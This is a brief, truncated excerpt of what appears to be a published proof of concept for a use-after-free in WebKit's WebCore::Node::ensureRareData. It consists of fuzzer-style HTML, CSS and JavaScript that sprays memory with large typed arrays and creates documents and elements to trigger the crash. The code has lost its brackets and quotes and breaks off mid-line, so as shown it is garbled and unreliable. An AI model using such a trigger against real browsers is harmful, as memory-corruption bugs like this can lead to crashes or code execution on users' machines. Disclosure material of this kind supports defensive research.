WebKit - WebCore::Node::ensureRareData Use-After-Free

WebKit - WebCore::Node::ensureRareData Use-After-Free .class1 -webkit-mask-box-image-source: urlfoo; function freememory var a; forvar i=0;i100;i++ a = new Uint8Array10241024; document.implementation.createHTMLDocument"doc"; function jsfuzzer try var00097 = document.createElement"source"; catche...